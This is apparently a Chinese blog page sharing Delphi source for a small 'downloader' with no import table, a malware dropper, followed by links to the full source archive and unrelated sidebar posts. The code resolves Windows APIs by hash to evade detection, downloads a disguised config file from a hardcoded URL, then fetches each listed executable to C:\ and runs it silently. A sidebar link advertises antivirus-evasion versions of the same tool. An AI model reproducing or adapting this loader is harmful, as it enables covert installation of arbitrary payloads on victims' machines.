[源码]Delphi 5KB无输入表下载者源码

  1. PROGRAM Fun;
  2.  
  3. type
  4. DWORD = LongWord;
  5. THandle = LongWord;
  6. BOOL = LongBool;
  7. LPCSTR = PAnsiChar;
  8. HINTERNET = Pointer;
  9. FARPROC = Pointer;
  10. PShortString = ^ShortString;
  11. PLongint = ^Longint;
  12. HRESULT = type Longint; { from WTYPES.H }
  13.  
  14. PGUID = ^TGUID;
  15. TGUID = packed record
  16. D1: LongWord;
  17. D2: Word;
  18. D3: Word;
  19. D4: array[0..7] of Byte;
  20. end;
  21.  
  22. PSecurityAttributes = ^TSecurityAttributes;
  23. _SECURITY_ATTRIBUTES = record
  24. nLength: DWORD;
  25. lpSecurityDescriptor: Pointer;
  26. bInheritHandle: LongBool;
  27. end;
  28.  
  29. TSecurityAttributes = _SECURITY_ATTRIBUTES;
  30. SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES;
  31.  
  32. POverlapped = ^TOverlapped;
  33. _OVERLAPPED = record
  34. Internal: DWORD;
  35. InternalHigh: DWORD;
  36. Offset: DWORD;
  37. OffsetHigh: DWORD;
  38. hEvent: THandle;
  39. end;
  40. TOverlapped = _OVERLAPPED;
  41. OVERLAPPED = _OVERLAPPED;
  42.  
  43. CONST
  44. Dw_ShellExecuteA = $EB7C1488;
  45. Dw_ShellExecuteW = $1FA8A1D9;
  46. Dw_URLDownloadToFileA = $1E30F2EA;
  47. Dw_StrStrA = $0A62DA9E;
  48. Dw_lstrlenA = $E90E2A0C;
  49. Dw_lstrcpyA = $AE03DF57;
  50. Dw_lstrcpynA = $3464616E;
  51. Dw_StrDupA = $F458BD0D;
  52. Dw_StrNCatA = $8DB90EA6;
  53. Dw_CreateFileA = $553B5C78;
  54. Dw_ReadFile = $095C03D0;
  55. Dw_CloseHandle = $B09315F4;
  56.  
  57. S_OK = $00000000;
  58. ERROR = 0;
  59. INTERNET_OPEN_TYPE_PRECONFIG = 0;
  60. HTTP_QUERY_RAW_HEADERS_CRLF = 22;
  61. MAX_PATH = 260;
  62. GENERIC_READ = DWORD($80000000);
  63. FILE_SHARE_READ = $00000001;
  64. OPEN_EXISTING = 3;
  65. FILE_ATTRIBUTE_NORMAL = $00000080;
  66.  
  67. DwUrl = 'http://www.baidu.com/img/bdlogo.gif|----------------------------------------------------------------------';
  68.  
  69. VAR
  70. LoadLibrary:function(lpLibFileName: PAnsiChar): longWord; stdcall;
  71. ShellExecuteA:function(hWnd: LongWord; Operation, FileName, Parameters, Directory: PAnsiChar; ShowCmd: Integer): LongWord; stdcall;
  72. URLDownloadToFileA:function(Caller:Pointer; URL:PChar; FileName:PChar; Reserved: DWORD; StatusCB:Pointer): HResult; stdcall;
  73. lstrlenA:function(lpString: PAnsiChar): Integer; stdcall;
  74. StrStrA:function(lpFirst, lpSrch: PAnsiChar): PAnsiChar; stdcall;
  75. lstrcpyA:function(lpString1, lpString2: PAnsiChar): PAnsiChar; stdcall;
  76. lstrcpynA:function(lpString1, lpString2: PAnsiChar; iMaxLength: Integer): PAnsiChar; stdcall;
  77. StrDupA:function(lpSrch: PAnsiChar): PAnsiChar; stdcall;
  78. StrNCatA:function(psz1: PAnsiChar; psz2: PAnsiChar; cchMax: Integer): PAnsiChar; stdcall;
  79. CreateFileA:function(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: DWORD;lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: DWORD; hTemplateFile: THandle): THandle; stdcall;
  80. ReadFile:function(hFile: THandle; var Buffer; nNumberOfBytesToRead: DWORD; var lpNumberOfBytesRead: DWORD; lpOverlapped: POverlapped): BOOL; stdcall;
  81. CloseHandle:function(hObject: THandle): BOOL; stdcall;
  82.  
  83. function DwPos(lpFirst,lpSrch:PAnsiChar):Integer;
  84. begin
  85. Result :=DWORD(StrStrA(lpFirst,lpSrch)) - DWORD(lpFirst);
  86. end;
  87.  
  88. procedure DwDelete(lpszStr: PAnsiChar; index, count: Integer);
  89. begin
  90. lstrcpyA(@lpszStr[index - 1], @lpszStr[index + count - 1]);
  91. end;
  92.  
  93. function DwStrLCopy(Dest: PAnsiChar; const Source: PAnsiChar; MaxLen: Cardinal): PAnsiChar; assembler;
  94. asm
  95. PUSH EDI
  96. PUSH ESI
  97. PUSH EBX
  98. MOV ESI,EAX
  99. MOV EDI,EDX
  100. MOV EBX,ECX
  101. XOR AL,AL
  102. TEST ECX,ECX
  103. JZ @@1
  104. REPNE SCASB
  105. JNE @@1
  106. INC ECX
  107. @@1: SUB EBX,ECX
  108. MOV EDI,ESI
  109. MOV ESI,EDX
  110. MOV EDX,EDI
  111. MOV ECX,EBX
  112. SHR ECX,2
  113. REP MOVSD
  114. MOV ECX,EBX
  115. AND ECX,3
  116. REP MOVSB
  117. STOSB
  118. MOV EAX,EDX
  119. POP EBX
  120. POP ESI
  121. POP EDI
  122. end;
  123.  
  124. function DwStrPCopy(Dest: PAnsiChar; const Source: PAnsiChar): PAnsiChar;
  125. begin
  126. Result := DwStrLCopy(Dest, Source, lstrlenA(Source));
  127. end;
  128.  
  129. var
  130. I:Integer;
  131. BinaryFile: LongWord;
  132. dwBytesRead: DWORD;
  133. szBuffer,NewDir,Temp:array [0..100] of AnsiChar;
  134. FBuf:Array[0..2048] of AnsiChar;
  135. PosTxt:PAnsiChar;
  136.  
  137. kernel32,shlwapi:LongWord;
  138. begin
  139. BuildCRC32Table;
  140. @LoadLibrary:=MyLoadLibraryA;
  141. kernel32 := LoadLibrary('kernel32.dll');
  142. shlwapi := LoadLibrary('shlwapi.dll');
  143. @ShellExecuteA:=GetProcAddress(LoadLibrary('shell32.dll'),Dw_ShellExecuteA);
  144. @URLDownloadToFileA:=GetProcAddress(LoadLibrary('UrlMon.dll'),Dw_URLDownloadToFileA);
  145. @StrStrA:=GetProcAddress(shlwapi,Dw_StrStrA);
  146. @StrDupA:=GetProcAddress(shlwapi,Dw_StrDupA);
  147. @StrNCatA:=GetProcAddress(shlwapi,Dw_StrNCatA);
  148. @lstrlenA:=GetProcAddress(kernel32,Dw_lstrlenA);
  149. @lstrcpyA:=GetProcAddress(kernel32,Dw_lstrcpyA);
  150. @lstrcpynA:=GetProcAddress(kernel32,Dw_lstrcpynA);
  151. @CreateFileA:=GetProcAddress(kernel32,Dw_CreateFileA);
  152. @ReadFile:=GetProcAddress(kernel32,Dw_ReadFile);
  153. @CloseHandle:=GetProcAddress(kernel32,Dw_CloseHandle);
  154.  
  155. lstrcpyA(szBuffer, DwUrl);
  156. DwDelete(szBuffer, DwPos(szBuffer,'|')+1, 100);
  157. I:= DwPos(DwUrl,'|')+1;
  158. lstrcpynA(szBuffer,DwUrl,I);
  159. if URLDownloadToFileA(nil,szBuffer,'c:\k8down.jpg', 0, nil)= S_OK then
  160. begin
  161. BinaryFile := CreateFileA('c:\k8down.jpg', GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  162. ReadFile(BinaryFile, FBuf , 2048, dwBytesRead, nil);
  163. if (dwBytesRead > 0) then
  164. begin
  165. closehandle(BinaryFile);
  166. end;
  167. while (DwPos(FBuf,'//') <> 0) and (DwPos(FBuf,'|') <> 0) do
  168. begin
  169. if (DwPos(FBuf,'|') < 6) then Break;
  170. I:=DwPos(FBuf,'|')+1;
  171. lstrcpynA(Temp,FBuf,I);
  172. DwDelete(FBuf,1, I + 2);
  173. DwStrPCopy(NewDir,'C:\');
  174. PosTxt:=StrDupA(Temp);
  175. DwDelete(PosTxt, 1, 7);
  176. while (DwPos(PosTxt,'/') > 0) do
  177. begin
  178. DwDelete(PosTxt, 1, DwPos(PosTxt,'/')+1);
  179. end;
  180. StrNCatA(NewDir,PosTxt,-1);
  181. if URLDownloadToFileA(nil,Temp,NewDir, 0, nil)= S_OK then
  182. begin
  183. ShellExecuteA(0,'open',NewDir,nil,nil,5);
  184. end;
  185. end;
  186. end;
  187. end.

完整程序源码如下:

https://github.com/k8gege/K8tools/raw/master/Delphi%205KB%E6%97%A0%E8%BE%93%E5%85%A5%E8%A1%A8%E4%B8%8B%E8%BD%BD%E8%80%85%E6%BA%90%E7%A0%81_0105%5BK8%5D.rar

https://download.csdn.net/download/qq396890445/6812539

[源码]Delphi 5KB无输入表下载者的更多相关文章

  1. 2014年最新720多套Android源码2.0GB免费一次性打包下载

    之前发过一个帖子,但是那个帖子有点问题我就重新发一个吧,下面的源码是我从今年3月份开始不断整理源码区和其他网站上的android源码,目前总共有720套左右,根据实现的功能被我分成了100多个类,总共 ...

  2. [源码]Delphi源码免杀之函数动态调用 实现免杀的下载者

    [免杀]Delphi源码免杀之函数动态调用 实现免杀的下载者 2013-12-30 23:44:21         来源:K8拉登哥哥's Blog   自己编译这份代码看看 过N多杀软  没什么技 ...

  3. 转--2014年最新810多套android源码2.46GB免费一次性打包下载

    转载自:http://www.eoeandroid.com/thread-497046-1-1.html 感谢该博客主人无私奉献~~ 下面的源码是从今年3月份开始不断整理源码区和其他网站上的安卓例子源 ...

  4. Tika结合Tesseract-OCR 实现光学汉字识别(简体、宋体的识别率百分之百)—附Java源码、测试数据和训练集下载地址

     OCR(Optical character recognition) —— 光学字符识别,是图像处理的一个重要分支,中文的识别具有一定挑战性,特别是手写体和草书的识别,是重要和热门的科学研究方向.可 ...

  5. easyui源码翻译1.32--Form(表单)

    前言 使用$.fn.form.defaults重写默认值对象下载该插件翻译源码 form提供了各种方法来操作执行表单字段,比如:ajax提交, load, clear等等.当提交表单的时候可以调用va ...

  6. [转]数据库中间件 MyCAT源码分析——跨库两表Join

    1. 概述 2. 主流程 3. ShareJoin 3.1 JoinParser 3.2 ShareJoin.processSQL(...) 3.3 BatchSQLJob 3.4 ShareDBJo ...

  7. 【一起学源码-微服务】Nexflix Eureka 源码八:EurekaClient注册表抓取 精妙设计分析!

    前言 前情回顾 上一讲 我们通过单元测试 来梳理了EurekaClient是如何注册到server端,以及server端接收到请求是如何处理的,这里最重要的关注点是注册表的一个数据结构:Concurr ...

  8. Python源码剖析|百度网盘免费下载|Python新手入门|Python新手学习资料

    百度网盘免费下载:Python源码剖析|新手免费领取下载 提取码:g78z 目录  · · · · · · 第0章 Python源码剖析——编译Python0.1 Python总体架构0.2 Pyth ...

  9. 【雷神源码解析】无基础看懂AAC码流解析,看不懂你打我

    一 前言 最近在尝试学习一些视频相关的知识,随便一搜才知道原来国内有雷神这么一个真正神级的人物存在,尤其是在这里(传送门)看到他的感言更是对他膜拜不已,雷神这种无私奉献的精神应当被我辈发扬光大.那写这 ...

随机推荐

  1. vi怎么统计查找字符串的个数

    vi怎么统计查找字符串的个数 用vi打开一个比较大的文本,用vi查找指定字符串,现在怎么统计该字符串的个数呢?比如我查找ORA字符串,直接输入 /ORA的时候vi会高亮显示.现在怎么统计ORA的个数呢 ...

  2. 最小生成树求最大比率 UVALive - 5713

    题目链接:https://vjudge.net/problem/UVALive-5713 题意:给出t组数据,每组数据第一行给出一个n,表示点的数量,接下来n行,每行有三个数字,分别是点的坐标x,y和 ...

  3. 回忆Partition算法及利用Partition进行快排

    一.Partiton算法 Partiton算法的主要内容就是随机选出一个数,将这个数作为中间数,将大于它的排在它右边,小于的排在左边(无序的). int partition (int arr[],in ...

  4. FortiGate路由模式--静态地址线路上网配置

    1.需求:外网接口使用专线,由运营商分配指定的静态地址,内网为192.168.1.0/24网段,实现基本上网功能. 运营商分配ip地址:202.1.1.10,网关地址:202.1.1.9, DNS:2 ...

  5. python note 04 list的应用及元组

    1,昨日内容 ascii:字母,数字,特殊字符:1个字节,8位 Unicode:16位 两个字节 升级 32 位 四个字节 utf-8:最少一个字节 8位表示. 英文字母 8位 1个字节 欧洲16位, ...

  6. 651. 4 Keys Keyboard复制粘贴获得的最大长度

    [抄题]: Imagine you have a special keyboard with the following keys: Key 1: (A): Print one 'A' on scre ...

  7. 2.Redis五种数据结构

    2.Redis五种数据结构2.1 预备2.1.1 全局命令2.1.2 数据结构和内部编码2.1.3 单线程架构2.2 字符串2.2.1 命令2.2.2 内部编码2.2.3 典型使用场景2.3 哈希2. ...

  8. (转)android import library switch语句报错case expressions must be constant expressions

    今天当我从github上下载一个工程,并把它的库文件导入eclipse中,发现switch语句报错case expressions must be constant expressions : 解决方 ...

  9. 【APP测试(Android)】--升级更新

  10. 获取IP地址方法

    function getip() {     static $ip = '';     $ip = $_SERVER['REMOTE_ADDR'];     if(isset($_SERVER['HT ...